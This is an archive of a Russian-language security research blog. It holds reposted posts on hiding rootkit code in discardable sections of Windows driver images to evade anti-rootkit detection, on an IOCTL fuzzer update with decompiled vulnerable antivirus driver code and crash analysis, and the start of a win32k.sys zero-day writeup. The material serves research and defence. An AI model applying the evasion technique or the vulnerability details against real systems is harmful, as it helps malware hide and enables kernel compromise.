Mastodon

Monday, December 27, 2010

Обход детектирования скрытого исполняемого кода

Репост из блога Esage Lab

Универсальные антируткиты, как инструменты для надёжной борьбы со скрытыми объектами, за последние несколько лет стали очень сильно проигрывать в гонке технологий с писателями malware, чьи разработки постепенно уходят от классической модели реализации (драйвер + скрытый файл + скрытый системный сервис). Всем известно, что хороший современный руткит представляет собой уже не отдельный файл, а просто кусок исполняемого кода, получающий управление из зараженного драйвера или загрузочного сектора. В настоящее время присутствует довольно много вредоносных программ, которые нельзя достоверно детектировать (а уже тем более удалить) используя RootkitUnhooker, GMER, RootRepeal или любой другой антируткит подобного класса.

Однако, антируткиты по-прежнему остаются актуальными для детектирования системных аномалий в более широком понимании этого слова: модификация кода в памяти, DKOM, драйвера-фильтры или использование стандартных механизмов нотификации, и так далее. Кроме всего перечисленного важной функцией хороших антируткитов является и детектирование скрытого кода в памяти - кода, который исполняется на процессоре и при этом не принадлежит какому-либо файлу на диске. Данная техника детектирования интересна тем, что способна указать на факт заражения системы абсолютно любым сложным руткитом (из тех, что имеют распространение в настоящий момент) даже в том случае, если другие его скрытые объекты обнаружены не были (зараженные/подмененные файлы, загрузочные сектора, итд.).

Выглядит детектирование скрытого исполняемого кода так:

Rootkit Unhooker

Kernel Detective

RootRepeal

Safe'n'Sec Rootkit Detector

Подобным образом детектируются такие, казалось бы, продвинутые руткиты как TDSS, ZeroAccess а так же практически все известные буткиты, благодаря чему данные механизмы часто используются специалистами как средство для быстрого первичного диагностирования состояния системы.
Существует мнение, что обход детектирования скрытого исполняемого кода не возможен без реализации собственного планировщика потоков или других сложных техник, однако, мы решили показать, что на практике дела обстоят несколько проще, и всерьёз полагаться на такое детектирование не стоит.

Рассмотрим возможные способы реализации поиска скрытого исполняемого кода:
  1. Проверка стартовых адресов потоков, хранящихся в полях StartAddress и Win32StartAddress структуры _ETHREAD. Наиболее примитивный способ.
  2. Перехват ключевых функций ядра (например - ExAllocatePool или IofCallDriver) с проверкой адреса возврата на предмет принадлежности образу какого-либо загруженного драйвера. Способ, который относительно легко обходится путём загрузки в память своей копии ядра. Кроме того, не способен детектировать скрытый код в том случае, если исполняющий его поток большую часть времени проводит в "спящем" состоянии.
  3. Перехват планировщика. Заключается в перехвате какой-либо ключевой функции планировщика потоков, которая вызывается при их переключении (например - SwapContext). В обработчике перехвата текущие адреса потоков, которые отдают или получают квант процессорного времени, проверяются на предмет принадлежности образу какого-либо загруженного драйвера. Данный способ так же не способен детектировать код который исполняется потоком, находящимся в состоянии ожидания большую часть времени.
  4. Анализ указателей. Заключается в поиске активных перехватов кода в ядре (системные вызовы, IRP-обработчики, сплайсинг, нотификаторы) с последующей проверкой адресов обработчиков этих перехватов на предмет принадлежности образу какого-либо загруженного драйвера. Более надёжный способ, но работать он будет только в том случае, если руткит устанавливает какие-либо перехваты заведомо известного типа.
  5. Анализ стеков вызовов. Заключается в перечислении всех активных потоков и получении стека  вызовов для каждого из них. Адрес каждой функции из стека вызовов проверяется на предмет принадлежности образу какого-либо загруженного драйвера. Самый совершенный способ, свободный от перечисленных выше недостатков.
После ознакомления с перечисленными реализациями на ум приходит идея копировать исполняемый код руткита поверх загруженного в память образа какого-либо стандартного системного драйвера (не трогая его файл на диске, разумеется). Для этого должны быть удовлетворены следующие условия:
  1. Не должно нарушаться нормальное функционирование загруженного драйвера.
  2. Участок образа загруженного драйвера (который будет использоваться для хранения кода руткита) должен быть выбран таким образом, что бы антируткит не обнаружил каких-либо модификаций при сверке кода в памяти с тем, что содержится в файле на диске.
Данные условия соблюдаются при внедрении кода руткита в так называемые Discardable-секции PE файла (те, которые имеют установленный флаг IMAGE_SCN_MEM_DISCARDABLE). В случае с драйверами режима ядра Discardable-флаг указывает PE-загрузчику на то, что секция может быть выгружена из памяти после завершения инициализации драйвера. Обычно, Discardable-флаг имеют секции содержащие ресурсы, базовые поправки или инициализационный код драйвера. Такие секции помещаются линковщиком в конец образа:
kd> !dh beep.sys

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
     14C machine (i386)
       5 number of sections
3B7D82E5 time date stamp Sat Aug 18 00:47:33 2001

   ...
     
SECTION HEADER #3
    INIT name
     284 virtual size
     880 virtual address
     300 size of raw data
     880 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
E2000020 flags
         Code
         Discardable
         (no align specified)
         Execute Read Write

SECTION HEADER #4
   .rsrc name
     3C8 virtual size
     B80 virtual address
     400 size of raw data
     B80 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only

SECTION HEADER #5
  .reloc name
      9A virtual size
     F80 virtual address
     100 size of raw data
     F80 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only

Как известно, в общем случае загрузка драйвера режима ядра осуществляется с помощью функции ZwLoadDriver
Рассмотрим её работу:
  1. ZwLoadDriver получает из указанного ключа реестра системной службы путь к файлу её драйвера, после чего вызывает функцию MmLoadSystemImage.
  2. MmLoadSystemImage выполняет чтение исполняемого файла с диска и его проецирование в память, после завершения которого вызывает функцию PsCallImageNotifyRoutines.
  3. PsCallImageNotifyRoutines выполняет вызов нотификаторов, которые были установлены с помощью функции PsSetLoadImageNotifyRoutine.
  4. MmLoadSystemImage вызывает точку входа загруженного образа. Если точка входа вернула статус ошибки - образ немедленно выгружается. В случае успеха вызывается функция MmFreeDriverInitialization.
  5. MmFreeDriverInitialization перечисляет все секции образа и выгружает те их них, которые имеют флаг IMAGE_SCN_MEM_DISCARDABLE.
Для демонстрации техники сокрытия исполняемого кода в Discardable-секциях был разработан PoC, который представляет собой драйвер режима ядра работающий следующим образом:
  1. Драйвер устанавливается в систему как служба, имеющая тип запуска SERVICE_BOOT_START (запускающаяся на ранних этапах загрузки операционной системы).
  2. Во время инициализации драйвер устанавливает нотификатор на загрузку исполняемых образов с помощью функции PsSetLoadImageNotifyRoutine. Функция-нотификатор ожидает загрузки системного драйвера, Discardable-секции которого будут использоваться для хранения скрытого исполняемого кода. В PoC-е, в качестве таких драйверов, были выбраны beep.sys, ndiswan.sys, i8042prt.sys или wanarp.sys.
  3. При загрузке любого из перечисленных драйверов PoC выполняет перехват его точки входа методом модификации кода и отключает нотификатор.
  4. Обработчик перехваченной точки входа вызывает оригинальную, а после того, как она вернула управление - снимает флаг IMAGE_SCN_MEM_DISCARDABLE с секций драйвера-жертвы (для того, что бы предотвратить выгрузку этих секций из памяти) и копирует поверх них свой код. 
  5. После того, как код был успешно внедрен в Discardable-секции - с помощью функции PsCreateSystemThread создается системный поток, который начинает его исполнение.
  6. Созданный поток вызывает функцию ZwUnloadDriver для выгрузки уже ненужного драйвера PoC-а и приступает к исполнению "полезной нагрузки".
В качестве полезной нагрузки PoC всего лишь циклически выводит отладочное сообщение с пятисекундным интервалом, однако, вместо этого мог быть реализован и любой стандартный руткит-функционал.

Отладочные сообщения PoC-а

PoC работоспособен на всех 32-х разрядных версиях Windows начиная с XP, скрытый исполняемый код не детектируется ни одним публично доступным антируткитом (тесты были проведены на RootkitUnhooker, GMER, RootRepeal, Kernel Detective и Safe'n'Sec Rootkit Detector). 
Исходные тексты и исполняемые файлы PoC-а доступны для загрузки в виде архива, а так же в репозитории на GitHub-е.

Tuesday, December 14, 2010

Новый блог

Приветствую всех старых и новых знакомых.

Данный блог является дальнейшей эволюцией моего LJ-аккаунта.
Некоторые старые записи доступны по соответствующему тегу.

Обновление программы IOCTL Fuzzer

Репост из блога Esage Lab

Мы выпустили глобальное обновление IOCTL Fuzzer - программы для автоматического выявления уязвимостей в драйверах режима ядра при обработке IOCTL запросов. Подробности работы с данной программой рассматривались в статье Уязвимости в драйверах режима ядра для Windows.

В текущей версии фаззера присутствуют следующие нововведения:
  • Поддержка Windows 7
  • Полная поддержка 64-х разрядных версий Windows
  • Мониторинг исключений
  • Режим "честного фаззинга" (отправка IOCTL запросов из контекста процесса фаззера)
  • Разные режимы генерации некорректных данных для фаззинга
  • Возможность запуска фаззинга/мониторинга на начальных этапах загрузки операционной системы
Рассмотрим самые важные из них более подробно.

Поддержка 64-х разрядных версий Windows


Для работы на Windows x64 предусмотрена отдельная версия фаззера - ioctlfuzzer64.exe, отличия которой от 32-х разрядной версии минимальны. Заключаются они в способе перехвата системного вызова NtDeviceIoControlFile(): на x32 - замена адреса обработчика системного вызова в таблице KiServiceTable, а на x64 - сплайсинг (модификация кода) оригинального обработчика. Переход на сплайсинг был обусловлен тем, что в 64-х разрядных версиях Windows в KiServiceTable хранятся не сами адреса обработчиков системных вызовов, а 4-х байтовые смещения этих обработчиков относительно начала таблицы.

Фаззер не имеет функций отключения PatchGuard (защита от модификации кода ядра) и действительной цифровой подписи файла драйвера, поэтому его запуск на 64-х разрядных версиях Windows следует производить исключительно с активным удалённым отладчиком режима ядра, при наличии которого PatchGuard и проверка цифровых подписей драйверов выключаются автоматически.

Версия фаззера для Windows x64

Мониторинг исключений


Во время фаззинга (причём не только драйверов) хакеры довольно часто встречаются со следующей ситуацией: внутри исследуемой программы происходит попытка записи по недействительному (но потенциально контролируемому атакующим) адресу, которая "давится" встроенной в код программы обработкой исключений. В результате наличие уязвимости никак не скажется на поведении программы во время тестирования, и как следствие - такая уязвимость с огромной долей вероятности останется просто незамеченной.

Для решения подобных проблем и используют мониторинг исключений, суть которого сводится к тому, что бы каким-либо образом перехватить информацию об возникшем исключении до того, как его успеет обработать тестируемая программа.

К сожалению, все существующие на данный момент программы для мониторинга исключений или слишком медленны и не универсальны (касается тех, которые используют стандартный debug API) или работают только на нескольких относительно старых версиях Windows (касается популярной программы ExcpHook). По этой причине нами был разработан собственный инструмент для мониторинга исключений свободный от данных недостатков, который в последствии был интегрирован в IOCTL Fuzzer.

Принцип его работы заключается в перехвате не экспортируемой и не документированной функции ядра KiDispatchException() методом сплайсинга. А так как адрес данной функции получается из отладочных символов ядра, которые фаззер автоматически загружает с PDB сервера Microsoft, реализованный способ перехвата не привязан к конкретной версии операционной системы и является универсальным.

Монитор исключений записывает в лог следующую информацию:
  • Имя процесса и идентификатор потока, в контексте которого произошло исключение
  • Код исключения, с указанием текстовых констант для тех, которые являются стандартными
  • Адрес вызвавшей исключение инструкции и так же дополнительные параметры исключения
  • Ассемблерная мнемоника инструкции, которая вызвала исключение
  • Состояние регистров процессора на момент возникновения исключения

Мониторинг исключений

Для активации мониторинга исключений необходимо указать в командной строке к приложению ioctlfuzzer.exe параметр "--exceptions".

Режим "честного фаззинга"


Старая версия фаззера отправляла "мусорные" IOCTL запросы из контекста того же процесса, где был перехвачен оригинальный IOCTL запрос, что на практике приносило некоторое количество "ложных срабатываний" фаззера на не эксплуатируемых уязвимостях.

Для того, что бы проиллюстрировать причину таких "ложных срабатываний", рассмотрим следующий пример кода обработки IOCTL запроса в драйвере:
 1 
 2 typedef struct _REQUEST_BUFFER
 3 {
 4     char szString[];
 5 
 6 } REQUEST_BUFFER,
 7 *PREQUEST_BUFFER;
 8 
 9 // Указатель на доверенный процесс, который устанавливается,
10 // к примеру, при инициализации драйвера.
11 PEPROCESS m_TrustedProcess = NULL;
12 
13 NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
14 {
15     PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
16 
17     Irp->IoStatus.Status = ns;
18     Irp->IoStatus.Information = 0;
19 
20     if (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
21     {
22         // извлечение параметров IOCTL запроса
23         ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode;
24         ULONG Size = stack->Parameters.DeviceIoControl.InputBufferLength;
25         PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer;
26 
27         switch (Code)
28         {
29         case IOCTL_DO_SOMETHING:
30             {
31                 // проверка параметров IOCTL запроса
32                 if (PsGetCurrentProcess() == m_TrustedProcess &&
33                     Size > 0)
34                 {
35                     char szLocalString[255];
36                     strcpy(szLocalString, &Buff->szString);
37 
38                     // выполнение какой-то полезной работы
39                     // ...
40                 }
41 
42                 break;
43             }
44         }
45     }
46 
47     // ...
48 
49 }

Как мы можем видеть, вызов функции strcpy() на 36-й строке уязвим к классическому переполнению буфера, которое, однако, не эксплуатируемое на практике, так как ему предшествует "отсекание" IOCTL-запросов от процессов, не являющихся доверенными (32-я строка). Поскольку IOCTL запросы старой версии фаззера отправлялись из контекста оригинального процесса, осуществляющего взаимодействие с тестируемым драйвером, то фаззинг продемонстрированного фрагмента кода приводил бы к краху системы.

Разумеется, далеко не все подобные проверки действительно нельзя обойти, однако, на практике было бы удобно иметь опцию, которая бы позволяла фаззеру пропускать подобные места кода. В новой версии IOCTL Fuzzer такая опция именуется "честный фаззинг". Её суть заключается в том, что активация настройки "fair_fuzzing" в конфигурационном файле указывает фаззеру на необходимость отправлять все "мусорные" IOCTL запросы из контекста своего собственного процесса, который, разумеется, вряд-ли будет являться доверенным для драйверов посторонних приложений.

В заключении рассмотрим пользу "честного фаззинга" при тестировании реального приложения на примере последней версии Avira Premium Security Suite. При запуске фаззера с отключенной настройкой "fair_fuzzing" довольно быстро происходит аварийное завершение работы системы в следствии краха тестируемого приложения. При анализе аварийного дампа обнаруживается следующий стек вызовов:
Access violation - code c0000005 (!!! second chance !!!)
*** ERROR: Module load completed but symbols could not be loaded for avgntflt.sys
avgntflt+0x698c:
b2a8a98c 66393e          cmp     word ptr [esi],di
kd> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
b27739b4 b2a87745 304ef370 caba0198 caba0384 avgntflt+0x698c
b27739cc b2a89ad4 81dea508 00000037 00000037 avgntflt+0x3745
b27739ec b2a89ba8 caba021c 81dea508 00000037 avgntflt+0x5ad4
b2773a1c 804ee119 81f2fd80 82174a68 806d22d0 avgntflt+0x5ba8
b2773a2c 80574d5e 82174ad8 8211ee58 82174a68 nt!IopfCallDriver+0x31
b2773a40 80575bff 81f2fd80 82174a68 8211ee58 nt!IopSynchronousServiceTail+0x70
b2773ae8 8056e46c 000000f4 00000000 00000000 nt!IopXxxControlFile+0x5e7
*** ERROR: Module load completed but symbols could not be loaded for IOCTLfuzzer.sys
b2773b1c b201b405 000000f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
b2773ba8 b201ba90 00000001 000000f4 00000000 IOCTLfuzzer+0x4405
b2773c9c b201be17 00000001 81ecf008 000000f4 IOCTLfuzzer+0x4a90
b2773d34 8053d638 000000f4 00000000 00000000 IOCTLfuzzer+0x4e17
b2773d34 7c90e4f4 000000f4 00000000 00000000 nt!KiFastCallEntry+0xf8
00a1e338 7c90d26c 7c801675 000000f4 00000000 ntdll!KiFastSystemCallRet
00a1e33c 7c801675 000000f4 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc

Из аргументов функции avgntflt+0x5ba8 (выделены красным) извлекается имя устройства и параметры IOCTL запроса, который вызвал ошибку:
kd> !devobj 81f2fd80
Device object (81f2fd80) is for:
 avgntflt \FileSystem\avgntflt DriverObject 8210c1c8
Current Irp 00000000 RefCount 1 Type 00000008 Flags 00000040
Dacl e138a1dc DevExt 00000000 DevObjExt 81f2fe38
ExtensionFlags (0000000000)
Device queue is not busy.
kd> !irp 82174a68
Irp is active with 1 stacks 1 is current (= 0x82174ad8)
 No Mdl: System buffer=81dea508: Thread 81f29da8:  Irp stack trace.
     cmd  flg cl Device   File     Completion-Context
>[  e, 0]   5  0 81f2fd80 8211ee58 00000000-00000000
        \FileSystem\avgntflt
   Args: 00000000 00000037 caba021c 00000000
kd> dt _IO_STACK_LOCATION 82174ad8 Parameters.DeviceIoControl.
ntdll!_IO_STACK_LOCATION
   +0x004 Parameters                  :
      +0x000 DeviceIoControl             :
         +0x000 OutputBufferLength          : 0
         +0x004 InputBufferLength           : 0x37
         +0x008 IoControlCode               : 0xcaba021c
         +0x00c Type3InputBuffer            : (null)

Как видно, ошибка происходит при обработке IOCTL запроса с кодом 0xcaba021c, адресованного устройству avgntflt (драйвер тестируемого продукта). Изучение уязвимого драйвера с помощью дизассемблера приводит к следующему фрагменту кода:
 1 unsigned int __stdcall sub_F7F376AA(unsigned int Code, int FileInformation, int a3, int a4, ULONG Length, int a6, int a7)
 2 {
 3   int v8; // eax@20
 4   int v9; // [sp+0h] [bp-4h]@1
 5 
 6   v9 = 0;
 7   if (KeGetCurrentIrql())
 8     return STATUS_UNSUCCESSFUL;
 9 
10   if ( Code != 0xCABA0198
11     && Code != 0xCABA0320
12     && Code != 0xCABA032C
13     && Code != 0xCABA0384
14     && IoGetCurrentProcess() != (PEPROCESS)dword_F7F3C184)
15     return STATUS_UNSUCCESSFUL;
16 
17   // ...
18 
19   if (Code == 0xCABA021C)
20   {
21     sub_F7F356F0(FileInformation, a3);
22     return v9;
23   }
24 
25   // ...
26 
27   return v9;
28 }

Как видно, вызов уязвимой функции sub_F7F356F0, которая осуществляет обработку IOCTL запроса с нужным нам кодом, происходит только в том случае, если будет удовлетворено условие, осуществляющее проверку текущего процесса на предмет того, является ли он доверенным. В этом легко убедиться запустив фаззер с активированной настройкой "fair_fuzzing" - в этом случае падения системы при повторном проведении теста не произойдет.

Режимы генерации некорректных данных для фаззинга


Алгоритм, который фаззер будет использовать для генерации некорректных данных, так же является важным фактором, определяющим эффективность его работы. Продемонстрируем это утверждение на следующем примере кода:
 1 typedef struct _REQUEST_BUFFER
 2 {
 3     ULONG Operation;
 4     char szString[];
 5 
 6 } REQUEST_BUFFER,
 7 *PREQUEST_BUFFER;
 8 
 9 NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
10 {
11     PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
12 
13     Irp->IoStatus.Status = ns;
14     Irp->IoStatus.Information = 0;
15 
16     if (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
17     {
18         // извлечение параметров IOCTL запроса
19         ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode;
20         ULONG Size = stack->Parameters.DeviceIoControl.InputBufferLength;
21         PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer;
22 
23         switch (Code)
24         {
25         case IOCTL_DO_SOMETHING:
26             {
27                 // проверка параметров IOCTL запроса
28                 if (Buff->Operation == SOME_CONST &&
29                     Size > 0)
30                 {
31                     char szLocalString[255];
32                     strcpy(szLocalString, &Buff->szString);
33 
34                     // выполнение какой-то полезной работы
35                     // ...
36                 }
37 
38                 break;
39             }
40         }
41     }
42 
43     // ...
44 
45 }

Как видно, уязвимому к переполнению буфера вызову функции strcpy предшествует проверка значения поля Operation, структуры входящих данных IOCTL запроса, на равенство некоторой константе. Старая версия фаззера, с большой долей вероятности, не обнаружила бы подобную уязвимость по причине того, что при генерации "мусорных" IOCTL запросов она использовала примитивное заполнение входного буфера случайными байтами.

Данная недоработка была исправлена, и текущая версия фаззера поддерживает следующие режимы генерации некорректных данных:
  • Random - применявшееся ранее заполнение буфера случайными байтами.
  • Dwords - поочерёдное копирование в оригинальный входной буфер двойного слова таким образом, что бы его смещение начиная с первой и заканчивая последней итерацией отправки мусорных данных варьировалось в диапазоне от нуля до BuffSize - sizeof(DWORD). В качестве значения этого двойного слова поочерёдно используются константы 0x00000000, 0x00001000, 0xFFFF0000 и 0xFFFFFFFF.
Нужный режим генерации некорректных данных устанавливается при помощи настройки "fuzzing_type" в конфигурационном файле программы.

Запуск фаззинга/мониторинга на начальных этапах загрузки


Для более полного покрытия IOCTL запросов, обрабатываемых тестируемым драйвером, бывает необходимо выполнить так же фаззинг и тех из них, которые могут генерироваться приложением или системным сервисом единожды, например во время инициализации. Поскольку подобная инициализация может происходить ещё до запуска пользовательского окружения операционной системы, в новой версии фаззера была добавлена возможность запуска процесса фаззинга/мониторинга на ранних этапах загрузки.

Для активации IOCTL Fuzzer при следующей перезагрузке системы необходимо указать в командной строке к его приложению параметр "--boot".

Пример использования фаззера при поиске реальных уязвимостей


В завершении данной заметки приведем пример ещё одной уязвимости, которая была найдена с помощью IOCTL Fuzzer. В качестве тестируемого приложения будет выступать популярный на западном рынке антивирусных решений продукт - Trend Micro Titanium Maximum Security.

Вскоре после запуска фаззера происходит аварийное завершение работы системы, в выводе удалённого отладчика режима ядра отображается следующее сообщение, c информацией о последнем обработанном фаззером IOCTL запросе:
'C:\Program Files\Trend Micro\AMSP\coreServiceShell.exe' (PID: 792)
'\Device\TmComm' (0x81d6a030) [\SystemRoot\system32\DRIVERS\tmcomm.sys]
IOCTL Code: 0x9000402b,  Method: METHOD_NEITHER
    InBuff: 0x018fc080,  InSize: 0x0000004c
   OutBuff: 0x018fc080, OutSize: 0x0000004c

Как видно, в данном фрагменте фигурируют имена драйвера и процесса Trend Micro. Стек вызовов на момент краха системы выглядит следующим образом:
ChildEBP RetAddr  Args to Child
b2862410 804f7b9d 00000003 ffff0000 00000000 nt!RtlpBreakWithStatusInstruction
b286245c 804f878a 00000003 00000000 c07fff80 nt!KiBugCheckDebugBreak+0x19
b286283c 804f8cb5 00000050 ffff0000 00000001 nt!KeBugCheck2+0x574
b286285c 8051cc4f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
b28628bc 8054051c 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7
b28628bc b217f927 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
WARNING: Stack unwind information not available. Following frames may be wrong.
b2862974 b2176acb 00000000 018fc060 00000001 tmcomm!CSystemThread::TearDown+0x46b1
b286298c b2176fa0 018fc080 018fc080 00000000 tmcomm!NormalizeFullNtPathToDosName+0x3aa7
b28629a8 b2176823 b2862a04 009f1edd c0000001 tmcomm!NormalizeFullNtPathToDosName+0x3f7c
b28629e8 b217592f 9000402b b2862a04 82057bd0 tmcomm!NormalizeFullNtPathToDosName+0x37ff
b2862a1c 804ee119 81d6a030 81d6a034 806d22d0 tmcomm!NormalizeFullNtPathToDosName+0x290b
b2862a2c 80574d5e 8228e6b0 82057bd0 8228e640 nt!IopfCallDriver+0x31
b2862a40 80575bff 81d6a030 8228e640 82057bd0 nt!IopSynchronousServiceTail+0x70
b2862ae8 8056e46c 00000d00 00000000 00000000 nt!IopXxxControlFile+0x5e7
b2862b1c b1eae4ca 00000d00 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
b2862ba8 b1eaea90 00000001 00000d00 00000000 IOCTLfuzzer+0x44ca
b2862c9c b1eaee17 00000001 81ef9a48 00000d00 IOCTLfuzzer+0x4a90
b2862d34 8053d638 00000d00 00001554 00000000 IOCTLfuzzer+0x4e17
b2862d34 7c90e4f4 00000d00 00001554 00000000 nt!KiFastCallEntry+0xf8
018fbf70 7c90d26c 7c8016c2 00000d00 00001554 ntdll!KiFastSystemCallRet

Приступим к реверсингу уязвимого драйвера tmcomm.sys, начав с процедуры обработки IRP запросов к устройствам данного драйвера:
 1 int __stdcall sub_1E8BE(int DriverObject, char *Irp)
 2 {
 3   StackLocation = *((_DWORD *)Irp + 24);
 4   IoStatus = Irp + 28;
 5   *((_DWORD *)Irp + 7) = 0;
 6 
 7   MajorFunction = *(_BYTE *)StackLocation;
 8 
 9   if (MajorFunction == 2)
10     goto LABEL_12;
11 
12   if (MajorFunction > 0xDu)
13   {
14     // обработка IRP запросов типа IRP_MJ_DEVICE_CONTROL
15     if (MajorFunction <= 0xFu)
16     {
17       // извлечение параметров IOCTL запроса из структуры IO_STACK_LOCATION
18       Type3InputBuffer = *(_DWORD *)(StackLocation + 0x10);
19       UserBuffer = *((_DWORD *)v6 + 15);
20       InputBufferLength = *(_DWORD *)(StackLocation + 8);
21       OutputBufferLength = *(_DWORD *)(StackLocation + 4);
22       v27 = IoStatus;
23       v24 = OutputBufferLength;
24 
25       // дальнейшая обработка IOCTL запроса
26       v5 = sub_1F7A6(*(_DWORD *)(StackLocation + 0xC), (int)&InputBufferLength);
27       goto LABEL_9;
28     }
29 
30     // ...
31   }
32 
33   // ...
34 
35   return v5;
36 }

Как видно по приведенному псевдокоду, обработка IOCTL запросов осуществляется в процедуре sub_1F7A6():
 1 int __stdcall sub_1F7A6(int ControlCode, int a2)
 2 {
 3   v7 = 0xC00000BBu;
 4   v6 = 0;
 5   v2 = ExGetPreviousMode();
 6   v3 = 0;
 7   if (off_34CB4)
 8   {
 9     v4 = 0;
10 
11     // Поиск процедуры дальнейшей обработки IOCTL запроса по значению
12     // ControlCode. Для 0x9000402b (значение, которое было выявленно при фаззинге)
13     // будет вызвана процедура sub_1FF38()
14     while (*(int *)((char *)&dword_34CB0 + v4) != ControlCode)
15     {
16       ++v3;
17       v4 = 8 * v3;
18       if (!*(&off_34CB4 + 2 * v3))
19         goto LABEL_7;
20     }
21     v6 = *(&off_34CB4 + 2 * v3);
22   }
23 LABEL_7:
24   if (v2 == UserMode)
25   {
26     // проверка входного и выходного буферов
27     ProbeForRead(*(const void **)(a2 + 8), *(_DWORD *)a2, 1u);
28     ProbeForWrite(*(PVOID *)(a2 + 12), *(_DWORD *)(a2 + 4), 1u);
29   }
30   if ( v6 )
31   {
32     v7 = v6(a2); // <-- вызов процедуры sub_1FF38()
33 
34     // ...
35   }
36   return v7;
37 }

Полный код всех процедур, которые участвуют в обработке IOCTL запроса, приводиться не будет по причине его громоздкости.
В ходе проведенного реверсинга было выяснено, что IOCTL запрос с кодом 0x9000402b используется для вызова из пользовательского приложения оригинальных обработчиков тех системных вызовов, которые были перехвачены драйвером антивирусной защиты. При этом во входном буфере по нулевому смещению находится байт, значение которого определяет то, какой системный вызов следует вызвать (например, для NtCreateFile() это значение равно 0x2713). Все остальное пространство входного буфера используется для хранения указателей на структуры (UNICODE_STRING, OBJECT_ATTRIBUTES и другие), которые следует заполнить и передать в качестве параметров для системного вызова.

Уязвимость, позволяющая выполнить произвольный код с наивысшими привилегиями, содержится в функции, которая непосредственно осуществляет системный вызов. Она заключается в отсутствии проверок упоминавшихся выше указателей на параметры системного вызова:
 1 int __thiscall sub_288AA(void *this, int InputBuffer, int a3, int a4)
 2 {
 3   // извлечение параметров для системного вызова из входного буфера
 4   v18 = *(_DWORD *)(InputBuffer + 56);
 5   v17 = *(_DWORD *)(InputBuffer + 32);
 6   v12 = *(_DWORD *)(InputBuffer + 36);
 7   v14 = *(_DWORD *)(InputBuffer + 40);
 8   v15 = *(_DWORD *)(InputBuffer + 44);
 9   v11 = (HANDLE *)(a3 + 8);
10   ObjAttr = *(_DWORD *)(a3 + 0x3C);
11   v10 = (int)this;
12   StringBuffer = *(_DWORD *)(InputBuffer + 0xC);
13   v13 = *(_DWORD *)(InputBuffer + 52);
14   UnicodeString = *(_DWORD *)(InputBuffer + 0x44);
15   v19 = *(struct _IO_STATUS_BLOCK **)(a3 + 0x40);
16   StringLen = *(_DWORD *)(InputBuffer + 0x14);
17   v16 = *(_DWORD *)(InputBuffer + 48);
18 
19   if (StringBuffer && UnicodeString && ObjAttr && v19 && StringLen)
20   {
21     // заполнение структуры UNICODE_STRING
22     *(_DWORD *)(UnicodeString + 4) = StringBuffer;
23     *(_WORD *)(UnicodeString + 2) = StringLen;
24     *(_WORD *)UnicodeString = StringLen;
25 
26     // заполнение структуры OBJECT_ATTRIBUTES
27     *(_DWORD *)ObjAttr = 24;
28     *(_DWORD *)(ObjAttr + 4) = 0;
29     *(_DWORD *)(ObjAttr + 12) = 0x240u;
30     *(_DWORD *)(ObjAttr + 8) = UnicodeString;
31     *(_DWORD *)(ObjAttr + 16) = 0;
32     *(_DWORD *)(ObjAttr + 20) = 0;
33 
34     // вызов оригинального обработчика системного вызова NtCreateFile()
35     result = sub_185C2(v10, v11, v12, (OBJECT_ATTRIBUTES *)ObjAttr, v19, 0, v13, v14, v15, v16, 0, 0, a4);
36     if (result < 0)
37       *v11 = (HANDLE)-1;
38   }
39   else
40   {
41     result = 0xC000000Du;
42     *(_DWORD *)(InputBuffer + 4) = 0xC000000Du;
43   }
44   return result;
45 }

Таким образом, путём передачи уязвимому драйверу специальным образом сформированного буфера атакующий может переписать произвольным значением произвольный байт памяти в пространстве ядра. Более подробно эксплуатация подобных уязвимостей рассматривалась в уже упоминавшейся в данной заметке статье.

Стоит отметить, что рассмотренная уязвимость, не смотря на возможность локального выполнения произвольного кода в пространстве ядра, имеет низкую степень опасности. Это связанно с тем, что необходимое для эксплуатации уязвимости устройство \Device\TmComm может быть открыто только пользователем с наивысшими привилегиями:


Таким образом, уязвимость представляет исключительно образовательную ценность, и  её эксплуатация в реальных условиях является бессмысленной. Для уязвимости был разработан полнофункциональный эксплойт.

Загрузить IOCTL Fuzzer


IOCTL Fuzzer распространяется в виде исходных текстов и исполняемых файлов под 32-х и 64-х разрядные версии Windows.

Страница программы на Google Code
Файл README.TXT

Monday, December 13, 2010

Новая уязвимость в ядре Windows

Репост из блога Esage Lab

В эти дни во многих источниках появились сообщения об обнаружении в ядре Windows (а точнее, в "сердце" графической подсистемы win32k.sys) очередной локальной уязвимости нулевого дня. Интересно также и то, что изначально информация о данной уязвимости и сам эксплойт появились на одном из многочисленных китайских форумов, но тема довольно быстро была удалена администратором.

Уязвимость представляет собой классическое переполнение буфера в ядре. Рассмотрим подробно её технические детали.

В MSDN описана API функция EnableEUDC(), библиотеки Gdi32.dll, которая служит для включения или выключения т.н. end-user-defined characters (шрифтов интерфейса, определённых пользователем):
BOOL EnableEUDC(
  BOOL fEnableEUDC
);

